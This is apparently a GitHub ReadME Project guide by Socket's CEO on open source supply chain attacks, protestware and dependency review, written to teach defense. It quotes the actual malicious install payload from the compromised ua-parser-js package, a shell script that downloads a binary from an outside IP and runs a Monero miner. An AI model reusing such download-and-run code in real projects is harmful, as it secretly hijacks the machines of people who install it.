Skip to content
GitHub Universe is back: Get tickets now for 35% off, only until July 8

Do your part to secure the open source supply chain

We're just beginning to reckon with new security risks introduced by the tangled web of dependencies in our apps.

Feross Aboukhadijeh

Artwork: Micha Huigen

Photo of Feross Aboukhadijeh
Socket logo

Feross Aboukhadijeh // CEO, Socket

The ReadME Project amplifies the voices of the open source community: the maintainers, developers, and teams whose contributions move the world forward every day.

The modern open source ecosystem offers software developers many benefits, from facilitating faster application development to providing difficult-to-develop functionality such as AI/ML. However, these benefits come with risks that require consideration. After all, when you include third-party code of any kind into your software, you’re accepting some level of unknown risk—and that’s where supply chain attacks come into play.


In this guide, you will learn:

  • What’s causing the increase in supply chain attacks

  • How to mitigate the effects of supply chain attacks

  • How to proactively address dependency security


The rise of supply chain attacks

Software supply chain attacks occur when an attacker infiltrates a vendor's network and injects malicious code into its software, which that vendor then unknowingly distributes to its customers. The likelihood of experiencing one of these attacks is increasing rapidly alongside the massive increase in third-party dependencies, the interdependence on other organizations to develop software, and the rise of cloud services, APIs, and no-code services.

Imagine an attacker gets malicious code into a package hosted on npm. From there, the vulnerability spreads to the node_modules folders on developer machines, to the build servers, and finally to production systems.

Together, let’s explore and answer the question: Why are so many attacks happening now?

Massive increase in third-party dependencies

In modern software development, it's not uncommon to see large JavaScript applications with up to 10,000 dependencies. Developers use dependencies liberally to satisfy the increasing demand to ship software quickly. With open source, applications that would have previously taken months or years to build can now be done in weeks.

About 90% of the total lines of code in a modern application often come from open source dependencies. This is a huge change from how things were done even 10 years ago. Gone are the days of copying code snippets from StackOverflow or reinventing the wheel by writing everything in house. This is largely a good thing; however, it doesn't come without risks.

When teams depend on this much open source code, they rarely have the time to properly vet each dependency—whether thoroughly reading the source code or simply performing a cursory check that the package is implemented logically—before introducing it into the codebase.

This problem is exacerbated by the massive interdependence of open source packages themselves. Installing an average npm package introduces an implicit trust on 79 other third-party packages and 39 maintainers, according to a 2019 paper published by Zimmermann, et al. For this reason, it's not surprising that Discord, the popular messaging platform, uses 19,462 total dependencies built by 381,118 contributors from 206 countries, according to GitHub's State of the Octoverse. And this isn't even an outlier; at Socket, the company I started, we have a few customers with node_modules folders that approach 100GB in size.

Change happens orders of magnitude faster than before

In the world of software development, change happens at a quicker pace than ever before. Many leading tech companies release hundreds of updates per day, compared to the once-a-year release schedule of the past. When every push to main results in a new deploy, the security or QA team can no longer act as the primary gatekeeper.

Thanks to tools like Dependabot, developers can easily keep their software dependencies up to date. In today's culture of fast development, a developer might update a dependency (pulling in new third-party code) and deploy it to production in mere days or hours after it was originally published. This is a new phenomenon, and organizations are just starting to consider the increased risk of supply chain attacks that come with frequent updates.

Spectrum asking how quickly you should update dependencies. On the far left is slow/exposed to known vulnerabilities. On the far right fast/exposed to supply chain attacks.

The decision about how frequently to update dependencies is fraught with tradeoffs.


The faster an organization updates its dependencies, the fewer chances people have to review the code and identify potential attacks, such as malware, hidden code, backdoors, cryptocurrency miners, protestware, and more. This leaves organizations vulnerable to attacks, as they are assuming that the open source code they use, while not perfect, is at least not actively malicious.

The cost of attack is lower than ever

As more and more organizations rely on open source software, the potential attack surface grows. Attackers only need to compromise one popular package to gain access to countless systems. The reach of the top dependencies is so large—some npm packages are used in nearly every Fortune 500 website—that the potential blast radius is significant when these packages are compromised.

The cost of attack is going down over time, too. At Socket, we monitor security incidents in open source packages and we see more than 100 attacks against the npm ecosystem each month. Attackers take advantage of the open ecosystem and the implicit trust that maintainers have for each other; most npm packages have liberal contribution policies, frequently sharing commit and publish rights with new contributors. This is particularly true when a maintainer faces an overwhelming volume of bug reports or feature requests, or when they decide they can no longer maintain their project.

Almost all organizations, regardless of size or brand recognition, will eventually be affected by a supply chain attack. It’s not a matter of if, but when.

Now, let’s dig into a specific open source supply chain attack to help paint the picture of how these attacks work.

We want to hear from you! Join us on GitHub Discussions.

Anatomy of a supply chain attack

In October 2021, a hacker advertised on a Russian forum the sale of an npm account that controlled a package with over 7 million weekly downloads. Two weeks later, ua-parser-js was compromised, presumably by whoever purchased the password on the hacking forum, and three versions of the package were published containing malware. In just four hours, tens of thousands of users downloaded these versions before the community identified the problem and removed the malicious packages.

The malware in the compromised packages was particularly nasty. It included a pre-install script that automatically ran when the package was installed, running a different payload on Windows and Linux machines. Mac users got lucky—the attacker didn’t bother including a Mac payload.

On Linux, the malicious install script started a Monero cryptocurrency miner to steal system resources and produce cryptocurrency for the attacker. On Windows, the install script went a step further. It ran the cryptocurrency miner and loaded a DLL file that stole passwords from over 100 different programs on the victim's machine, including the Windows credential manager.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
IP=$(curl -k <https://freegeoip.app/xml/> | grep 'RU\\|UA\\|BY\\|KZ')
if [ -z "$IP" ]
    then
	var=$(pgrep jsextension)
	if [ -z "$var" ]
		then
		curl <http://159.148.186.228/download/jsextension> -o jsextension
		if [ ! -f jsextension ]
			then
			wget <http://159.148.186.228/download/jsextension> -O jsextension
		fi
		chmod +x jsextension
		./jsextension -k --tls --rig-id q -o pool.minexmr.com:443 -u <redacted> \\
            --cpu-max-threads-hint=50 --donate-level=1 --background &>/dev/null &
	fi
fi

The malicious payload executed by a compromised version of the ua-parser-js npm package.


Anyone who installed ua-parser-js—or a package that depended on ua-parser-js—was compromised.

How can developers expect to defend against attacks like these if we don’t perform even basic diligence before installing or updating the open source packages we use?

We download code from the internet that’s written by unknown individuals, we don’t read or audit it in any way, and we execute it with full permissions on our machines and production servers where our most important data is kept. While it's a testament to the fundamental goodness of nearly all open source participants that this system mostly works, it only takes a very small number of bad actors to cause supply chain attacks that shake our trust in open source code.

The rise of open source protestware

Sometimes, developers use their open source projects to voice their opinions by adding broken code, protest messages, or damaging functionality to their projects without warning. This can cause issues when an existing application fetches the latest version of the project, resulting in the newly added code running by surprise.

Recently, the developer of the event-source-polyfill package added code to show web visitors anti-war messages and then redirect them to petition websites to peacefully protest Russia's invasion of Ukraine. No matter how well-intentioned, actions like these raise concerns about the overall reliability of the ecosystem.

Another recent example of maintainer sabotage is what happened to the popular colors npm package. The attack first became apparent when the popular Amazon Cloud Development Kit (CDK) printed gibberish onto users’ consoles.

The messages printed out by Amazon’s Cloud Development Kit after one of its dependencies, colors.js, was intentionally sabotaged by the maintainer.

The messages printed out by Amazon’s Cloud Development Kit after one of its dependencies, colors.js, was intentionally sabotaged by the maintainer.


One of the CDK’s dependencies, the colors package, had been sabotaged by its maintainer to protest a lack of donations or payment for his work as an open source maintainer. More recently, we’ve heard similar grumblings of discontent from the maintainer of the core-js library, who recently posted a GitHub gist declaring that "Free open source software is fundamentally broken.”

These days, it's not easy for a developer to investigate all the security aspects of a package. Uncovering information about a dependency requires a lot of time and effort, especially when it contains hidden or undocumented behavior. But with the right tools and visibility, developers can proactively understand the impact of dependency changes, make informed decisions, and use open source more safely.

Code reviewers need visibility into open source risk

When developers add a new dependency, the diff shown in the code review interface in GitHub shows you the exact code changes to the package manifest file (e.g., package.json). Still, you need to combine this information with an additional tool like GitHub Advanced Security, GitHub Dependency Review beta, or Socket for GitHub to truly understand the risk of bringing in a new dependency.

Without one of these tools, code reviews on pull requests that add new dependencies won't provide information about package security risks, identify known malware, or even offer basic information like the number of transitive dependencies or the total amount of code that the dependency is adding. Reviewers only see a single line code change, which conceals the hundreds of thousands of lines of code written by countless different developers that may be imported.

That's why every organization should consider using GitHub Advanced Security or one of the other tools mentioned above.

A pull request with a list of dependencies. It includes names and version numbers, but no other information about how or why a dependency is used.

Pull requests offer very little information to help a code reviewer understand the risks involved with introducing a new dependency.


Assuming that the code reviewer is a diligent, security-minded developer, they still have to do too much work to properly review a dependency. Looking at the open source package’s code on GitHub is likely not enough. Attackers often publish malware to npm, while keeping the code on GitHub pristine, to obfuscate their attacks and delay discovery. And it’s still way too hard to analyze the full graph of transitive dependencies. Recall that the average npm package has 79 dependencies!

Using a tool to compare package diffs can help detect when a package version update contains malware or unwanted behavior changes. This is a powerful way to spot not just malware but disruptive changes to dependencies that developers might want to be aware of.

A screenshot of Socket displaying the “protestware” code from the event-source-polyfill package

Using a tool to view package diffs, such as the one offered by Socket, can help identify when a package update includes malware or code that introduces unwanted behavior, such as the event-source-polyfill package.


Open source security is about more than vulnerabilities

The market is flooded with vulnerability scanners that find known vulnerabilities —also known as CVEs—in open source dependencies. Vulnerability scanners merely look up the packages you're using to see if any vulnerabilities have been reported to public CVE databases. This is too slow and reactive to stop an active supply chain attack.

Today, the leading organizations are expanding the scope of what “open source security” means beyond known vulnerabilities to include defending against supply chain attacks.

In case you need a quick refresher on the difference:

  • Vulnerabilities are accidentally introduced by maintainers, and may be low impact or not possible for an attacker to actually exploit. Even if you have vulnerabilities in production, you have some time to address them; they may not be discovered or exploited before you update to a fixed version.

  • Supply chain attacks, on the other hand, are quite different. Supply chain attacks involve malware that is intentionally introduced into a package by an attacker. You don't have a few days or weeks to mitigate the issue. You need to catch it before you install it on your own laptop or on a production server.

To actually catch a supply chain attack, you need to understand the behavior of an open source package, either by expanding your code review process to include reviewing the source code of your dependencies, or more practically, by using a tool which can characterize the behavior of your dependencies.

For instance, Socket Security analyzes the code of open source packages to detect when it uses security-relevant platform capabilities, such as the network, filesystem, or shell, and warns developers and code reviewers in an update. You can also use free static analysis tools to write rules that detect when sensitive capabilities are introduced into an open source package.

Beyond vanity metrics

When evaluating an open source package, developers frequently check the number of downloads, stars, and other vanity metrics that are quick and easy to evaluate. But what about the security of the package? As a security-minded developer, you need to consider a different set of factors:

  • Does the package run a shell script at install time?

  • Does the package contain compiled code, making it harder to audit?

  • Does the package talk to the network? Which domains?

  • Does the package read or write files on disk?

  • Does the package read environment variables? Which ones?

  • Does the package contain obfuscated code?

  • Does the package collect telemetry?

Leading engineering organizations use automation to proactively push dependency risk information like this to their developers and ensure that it’s front-and-center at code review time.

By providing developers with this kind of information earlier in the development process, you create a feedback loop where the developer can see the effects of their actions and make informed decisions about the packages they use. The key is to give developers the visibility they need to understand the impact of their changes.

Can developers rise to the challenge?

Keep in mind that developers and security teams share the same goal: to release secure and high-quality software. With the correct tools and visibility, you can make informed decisions and protect your code from potential threats.

  • Use free tools like Socket Security, Deps.dev, or Libraries.io to gain detailed information about a package, including any security risks, before incorporating it into your code. This will help you make informed decisions and secure your code from potential threats.

  • When updating dependencies, strike a balance between speed and security. Updating too quickly may result in less time for code review and leave organizations vulnerable to attacks.

  • Use an automated tool, such as Dependabot, to prevent merging packages with known vulnerabilities into your codebase.

  • Audit your dependencies regularly to understand the risk of the packages you are using. Make a goal to replace the 5% riskiest packages you are using today with higher-quality, better-designed, and well-maintained packages.

  • Use a free tool, such as BundlePhobia or PackagePhobia, to find the cost of adding new dependencies to your project. Avoid using large, bloated packages since they lead to longer install times, increased maintenance burden, and increased exposure to risk.

  • Use an automated tool, such as Socket for GitHub, to warn developers when a new or updated dependency contains risky behavior such as install scripts or protestware.

By being vigilant and taking steps to protect against supply chain attacks, developers can continue to benefit from the convenience and efficiency of open source software while minimizing security risks.

Feross is the founder and CEO of Socket, a developer-first open source security tool. Feross has been an open source maintainer for the past 8 years, writing some of the most downloaded open source packages in the JavaScript ecosystem. Feross is also a lecturer at Stanford University where he teaches CS 253 Web Security. The company that Feross founded, Socket, helps developers and security teams to ship faster and spend less time on security busywork by helping them safely find, audit, and manage Open Source Software at scale. The Socket platform enables security and developer teams to work together to securely use and maintain OSS within the organization. Thousands of organizations use Socket to protect their apps from security threats originating in open source code.

About The
ReadME Project

Coding is usually seen as a solitary activity, but it’s actually the world’s largest community effort led by open source maintainers, contributors, and teams. These unsung heroes put in long hours to build software, fix issues, field questions, and manage communities.

The ReadME Project is part of GitHub’s ongoing effort to amplify the voices of the developer community. It’s an evolving space to engage with the community and explore the stories, challenges, technology, and culture that surround the world of open source.

Follow us:

Nominate a developer

Nominate inspiring developers and projects you think we should feature in The ReadME Project.

Support the community

Recognize developers working behind the scenes and help open source projects get the resources they need.

Thank you! for subscribing